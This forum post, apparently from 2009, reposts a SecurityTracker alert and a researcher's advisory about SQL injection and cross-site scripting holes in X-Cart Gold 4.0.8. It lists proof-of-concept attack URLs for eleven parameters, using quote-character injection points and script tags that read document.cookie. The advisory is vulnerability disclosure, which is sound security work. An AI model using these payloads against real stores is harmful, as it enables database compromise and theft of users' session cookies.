|
|
|||||||
 |
|
|
Thread Tools | Display Modes |
|
#1
IP: 117.95.53.207
2009-07-21, 10:03 AM
|
|||
|
|||
X-Cart Multiple Input Validation Holes Permit SQL Injection and Cross-Site Scripting
SecurityTracker Alert ID: 1014077
SecurityTracker URL: http://securitytracker.com/id?1014077 CVE Reference: GENERIC-MAP-NOMATCH (Links to External Site) Date: May 30 2005 Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information Exploit Included: Yes Version(s): 4.0.8 Description: Some input validation vulnerabilities were reported in X-Cart. A remote user can inject SQL commands. A remote user can conduct cross-site scripting attacks. The software does not properly validate user-supplied input in several parameters. A remote user can supply specially crafted parameter values to execute SQL commands on the underlying database. Some demonstration exploit values are provided: http://[target]/home.php?cat='[SQL-inj] http://[target]/ home.php?printable='[SQL-inj] http://[target]/product.php?productid='[SQL-inj] http://[target]/product.php?mode='[SQL-inj] http://[target]/error_message.php?access_den ied&id='[SQL-inj] http://[target]/help.php?section='[SQL-inj] http://[target]/orders.php?mode='[SQL-inj] http://[target]/register.php?mode='[SQL-inj] http://[target]/ search.php?mode='[SQL-inj] http://[target]/giftcert.php?gcid='[SQL-inj] http://[target]/giftcert.php?gcindex='[SQL-inj] Some demonstration exploit values are provided: A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the X-Cart software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. http://[target]/home.php?cat='><script>alert(document.cookie)</script> ht tp://[target]/home.php?printable='><script>alert(document.cookie)</script> http://[target]/product.php?productid='><script>alert(document.cookie)</s cript> http://[target]/product.php?mode='><script>alert(document.cookie)</script> http://[target]/error_message.php?access_denied&id='><script>aler t(document.cookie)</script> http://[target]/help.php?section='><script>alert(document.cookie)</script> http://[target]/orders.php?mode='><script> ;alert(document.cookie)</script> http://[target]/register.php?mode='><script>alert(document.cookie)</script> http://[target]/search.php?mode='><scr ipt>alert(document.cookie)</script> http://[target]/giftcert.php?gcid='><script>alert(document.cookie)</script> http://[target]/giftcert.php?gcinde x='><script>alert(document.cookie)</script> CENSORED from Search Vulnerabilities Team reported this vulnerability. Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the X-Cart software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A remote user can execute SQL commands on the underlying database. Solution: No solution was available at the time of this entry. Vendor URL: www.x-cart.com/ (Links to External Site) Cause: Input validation error Underlying OS: Linux (Any), UNIX (Any), Windows (Any) Reported By: CENSORED <censored*mail.ru> Message History: None. -------------------------------------------------------------------------------- Source Message Contents -------------------------------------------------------------------------------- Date: 31 May 2005 03:38:16 -0000 From: CENSORED <censored*mail.ru> Subject: Multiple vulnerabilities in x-cart Gold SVadvisory#7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Title: Multiple vulnerabilities in x-cart Gold The program: x-cart Gold The vulnerable version: 4.0.8 Homepage: www.x-cart.com Vulnerability is found: 29.05.05 Has found: CENSORED / SVT / www.svt.nukleon.us ===================================================================== The description. SQL - injections --------------- At research of a product the set Multiple vulnerabilities was revealed SQL-Injections. Vulnerability mentions practically all parameters. The first mistake has been found in parameter "cat". In a script There is no check of this parameter and at substitution of a symbol "'" Probably, to make SQL-an injection. Further the mistake has been found in Parameter "productid" as from - for absence of check on Special symbols, by transfer to this parameter of a symbol "'" occurs Mistake SQL, and script forwards automatically on page Speaking about a mistake. On this page the parameter "id" is visible to it We transfer a symbol "'" and as probably to make SQL - an injection. Further we look parameter "mode", at substitution Special symbols There is a mistake and probably to make SQL - an injection. We shall wound And parameter "section" in it it is possible to make SQL - an injection. XSS --------------- Vulnerability of type XSS can make in the same parameters as at mistakes SQL - injections ===================================================================== Example ^^^^^^^^^ SQL - injections --------------- http://example/home.php?cat='[SQL-inj] http://example/home.php?printable='[SQL-inj] http://example/product.php?productid='[SQL-inj] http://example/product.php?mode='[SQL-inj] http://example/error_message.php?access_denied&id='[SQL-inj] http://example/help.php?section='[SQL-inj] http://example/orders.php?mode='[SQL-inj] http://example/register.php?mode='[SQL-inj] http://example/search.php?mode='[SQL-inj] http://example/giftcert.php?gcid='[SQL-inj] http://example/giftcert.php?gcindex='[SQL-inj] XSS --------------- http://example/home.php?cat='><script>alert(document.cookie)</script> http://example/home.php?printable='><script>alert(document.cookie)</script> http://example/product.php?productid='><script>alert(document.cookie)</script> http://example/product.php?mode='><script>alert(document.cookie)</script> http://example/error_message.php?access_denied&id='><script>alert(document.cookie)</script> http://example/help.php?section='><script>alert(document.cookie)</script> http://example/orders.php?mode='><script>alert(document.cookie)</script> http://example/register.php?mode='><script>alert(document.cookie)</script> http://example/search.php?mode='><script>alert(document.cookie)</script> http://example/giftcert.php?gcid='><script>alert(document.cookie)</script> http://example/giftcert.php?gcindex='><script>alert(document.cookie)</script> ===================================================================== The conclusion. ^^^^^^^^^^^ Researches made only on version 4.0.8. Other versions as Can be vulnerable. The manufacturer in popularity is put. If is What that remarks write on censored*mail.ru ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Search Vulnerabilities Team / www.svt.nukleon.us / CENSORED | Cash | Fredy | patr0n | Loader | ___ ___ / / ____________\__\___ / / | _______________// _/_ ____|__________ |\ \/ | | /__________________| \____/ | ___| |___ |___ ___| | |___ |_______| 
|
|
| Currently Active Users Viewing This Thread: 3 (0 members and 3 guests) | |
|
|
Linear Mode
